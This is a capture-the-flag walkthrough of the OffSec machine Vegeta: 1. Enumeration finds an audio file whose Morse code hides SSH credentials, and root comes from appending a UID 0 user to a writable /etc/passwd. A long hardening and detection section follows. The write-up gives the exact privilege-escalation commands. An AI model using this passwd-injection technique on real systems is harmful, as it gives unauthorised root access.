Vegeta: 1 is a Dragon Ball Z-themed beginner machine that chains three different techniques into a clean kill chain. Web directory enumeration uncovers /bulma/ , with directory listing enabled — inside it, a single WAV file. Running it through multimon-ng decodes Morse code hidden in the audio and hands over SSH credentials for the trunks account. Once on the box, a single ls -la /etc/passwd command reveals the misconfiguration that ends the machine: the file is owned by trunks, not root. An owner-writable /etc/passwd means you can inject a UID 0 user directly — no exploits needed. One openssl passwd, one appended line, and it is done.
Attack Path: Gobuster → /bulma/ directory listing → Morse code WAV decode (SSH creds) → SSH as trunks → owner-writable /etc/passwd → injected root user
Press enter or click to view image in full size
Platform: OffSec Proving Grounds Play
Machine: Vegeta: 1
Difficulty: Easy
OS: Linux (Debian 10)
Date: 20XX-XX-XX
Table of Contents
1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Directory Enumeration
2. Initial Access — Morse Code Audio & SSH
2.1 Directory Listing in /bulma/
2.2 Decoding hahahaha.wav
2.3 SSH Login as trunks
3. Privilege Escalation — Writable /etc/passwd
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
6.1 Credentials Embedded in a Web-Accessible Audio File
6.2 Apache Directory Listing Enabled
6.3 /etc/passwd Owned and Writable by an Unprivileged User1. Reconnaissance
1.1 Nmap Port Scan
nmap -Pn -A -p- --open <TARGET_IP>Results:
Port State Service Version
------ ----- ------- -------------------------------------------
22/tcp open SSH OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open HTTP Apache httpd 2.4.38 (Debian)Two ports. SSH and HTTP. The web root returned no meaningful title — just a default Apache page. OS fingerprint came back as Linux 5.x. Standard two-port surface; the web service is where enumeration starts.
1.2 Web Directory Enumeration
gobuster dir -u http://<TARGET_IP>/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
-x php,txt,html \
--threads 10Results:
Path Status Notes
-------- ------ ---------------------------------
/img 301 Static image directory
/image 301 Static image directory
/admin 301 Empty, nothing useful
/manual 301 Apache manual
/bulma 301 Directory listing enabled/bulma/ is the only non-standard result worth investigating. Everything else is either default Apache content or empty. The name is a hint — this machine is Dragon Ball Z-themed throughout, and Bulma is a main character. Worth checking what is inside.
2. Initial Access — Morse Code Audio & SSH
2.1 Directory Listing in /bulma/
curl http://<TARGET_IP>/bulma/Directory listing was enabled, exposing one file:
hahahaha.wav 2020-06-28 231KDownloaded it:
wget http://<TARGET_IP>/bulma/hahahaha.wav -O hahahaha.wavThe filename is its own hint. hahahaha — the kind of name someone gives a file when they think it is clever that credentials are sitting right there in audio form. multimon-ng supports Morse CW decoding from WAV files directly; it is the right tool to reach for when a CTF drops an audio file with no obvious context.
Press enter or click to view image in full size
2.2 Decoding hahahaha.wav
multimon-ng -a MORSE_CW -t wav hahahaha.wavOutput:
USER : TRUNKS PASSWORD : <REDACTED>SSH credentials decoded directly from the Morse audio. This technique belongs almost exclusively to CTFs and the occasional creative red team engagement — but the underlying lesson is real: any file reachable via the web is a potential data-leak vector, regardless of format.
2.3 SSH Login as trunks
ssh trunks@<TARGET_IP>
# Password: <REDACTED>trunks@Vegeta:~$Foothold as trunks. The hostname confirms this is the right box. The kernel is recent enough that a kernel exploit is not the obvious move — standard post-exploitation enumeration comes first.
3. Privilege Escalation — Writable /etc/passwd
Standard permission check after landing:
ls -la /etc/passwdOutput:
-rw-r--r-- 1 trunks root 1486 Jun 28 2020 /etc/passwdThe owner is trunks — not root. That is the entire privilege escalation. /etc/passwd is owned by the currently logged-in user, which means it is writable without any special permissions or exploits. There is no need to hunt for SUID binaries, kernel CVEs, or anything else on the box. The misconfiguration is right there.
/etc/passwd stores user account information, including UID and GID. When shadow passwords are in use, the password field contains an x and the actual hash lives in /etc/shadow. However, if you write a valid password hash directly into the passwd field, Linux will honor it — the system checks /etc/passwd first. This is exactly what the classic /etc/passwd write exploit does: inject a new entry with UID 0, GID 0, and a known password hash.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Generate a password hash on the attacker's machine:
openssl passwd -1 <REDACTED>Output:
<REDACTED_HASH>Append a new root-level user to /etc/passwd on the target:
echo 'roots:<REDACTED_HASH>:0:0:root:/root:/bin/bash' >> /etc/passwdSwitch to the injected user:
su roots
# Password: <REDACTED>Output:
root@Vegeta:/home/trunks#Root. The injected roots user carries UID 0 and GID 0 — identical privileges to the real root account.
4. Proof of Compromise
root@Vegeta:~# id
uid=0(root) gid=0(root) groups=0(root)5. Vulnerability Summary
# Vulnerability Severity Impact
-- ------------------------------------------ --------- -----------------------------------------------
1 SSH credentials in web-accessible WAV file High Unauthenticated credential recovery via audio
2 Apache directory listing on /bulma/ Medium Exposes file existence without authentication
3 /etc/passwd owned and writable by trunks Critical Direct root via UID 0 user injection6. Defense & Mitigation
6.1 Credentials Embedded in a Web-Accessible Audio File
Root Cause: SSH credentials were encoded in Morse code and embedded in a WAV file stored inside an Apache-served directory. Any user who could reach port 80 and enumerate the directory had the credentials — multimon-ng is a standard tool, and Morse decoding takes seconds.
Mitigations:
- Never store credentials in web-accessible content of any kind. Audio files, images, PDFs, documents — all of them are credential-leak vectors if they contain sensitive data in any form. Secrets belong in a vault or a secrets manager, not in any file that can be downloaded over HTTP.
- Audit web directories for unexpected files. Any file that was not intentionally deployed as part of the application is a risk. Run periodic audits of the web root and all subdirectories. Tools like
tripwireoraidecan detect file additions and alert on changes. A WAV file in a web directory with no application purpose should never exist, let alone persist. - Apply a content policy to static file directories. If a directory is meant to serve only images, configure Apache to serve only the expected MIME types from it. Anything that does not match should return a 403.
FilesMatchDirectives in Apache can restrict which extensions are served from a given path. - Treat “creative” credential hiding as a real-world risk pattern. Developers sometimes hide notes, passwords, or configs in unexpected places under the assumption that obscurity provides protection. It does not. Security reviews should actively search all web-accessible directories for non-application files.
6.2 Apache Directory Listing Enabled
Root Cause: Apache’s Options Indexes was active on /bulma/, meaning any client that browsed to that path received a full listing of its contents. Without directory listing enabled, an attacker would need to know the exact filename of hahahaha.wav — Directory brute-forcing would not surface it automatically.
Mitigations:
- Disable directory listing globally. Set
Options -Indexesin the main Apache configuration (/etc/apache2/apache2.confor the relevant virtual host config. This should be the default for every web server that is not explicitly a file browser.
<Directory /var/www/html>
Options -Indexes
</Directory>- Override only where listing is explicitly required. If a specific directory needs to allow browsing, enable it only for that path with a documented justification. The default must be off.
- Add a default index file. Even with
Indexesenabled, Apache will serve the index file first if one exists. A placeholderindex.htmlin every directory prevents listing as a fallback — but this is a weak control and not a substitute for disablingIndexesoutright. - Review all virtual hosts and
.htaccessconfigurations. Directory listing is sometimes re-enabled accidentally through.htaccessoverrides or copied virtual host templates. IncludeOptions -Indexesin security review checklists for every Apache deployment.
6.3 /etc/passwd Owned and Writable by an Unprivileged User
Root Cause: /etc/passwd was owned by the trunks user rather than root. This gave any process running as trunks write access to the file, which made injecting a new user with UID 0 and a known password hash trivial, with no exploit required.
Mitigations:
- Correct the ownership and permissions immediately.
/etc/passwdmust be owned by root with mode644. Nothing else is acceptable.
chown root:root /etc/passwd
chmod 644 /etc/passwd- The same applies to
/etc/shadow(640, ownedroot:shadow),/etc/group(644, ownedroot:root), and/etc/sudoers(440, ownedroot:root). - Run regular file integrity checks on critical system files. Tools like
aide,tripwire, orOSSECshould monitor ownership and permissions on/etc/passwd,/etc/shadow,/etc/group, and/etc/sudoersas a baseline. Any deviation should trigger an alert immediately. - Use
Lynisor a similar hardening tool as part of the system setup.Lynisaudits file permissions on critical paths as part of its standard run. Running it immediately after provisioning catches misconfigurations like this before they reach production. The checkPASSWD-7032specifically validates/etc/passwdpermissions. - Understand how passwd injection works and why shadow passwords are not sufficient alone. If shadow passwords are configured correctly but
/etc/passwdis writable, an attacker can still win by writing a hash directly into the second field — Linux checks/etc/passwdfirst. The mitigation is correct ownership, not relying on shadow passwords in isolation. - Audit user account ownership of system files. No non-root user account should own any file in
/etc/. Run a periodic check:
find /etc -not -user root -ls- Any output from this command on a hardened system warrants immediate investigation.
- Log and alert on writes to
/etc/passwd.auditdcan watch specific files for write events:
auditctl -w /etc/passwd -p wa -k passwd_changes- Any write to
/etc/passwdoutside of a controlled user management process should generate an alert. The attacker here used a directecho >>to the file — that is exactly the kind of event that should be caught in real time.
OffSec PG Play — for educational purposes only.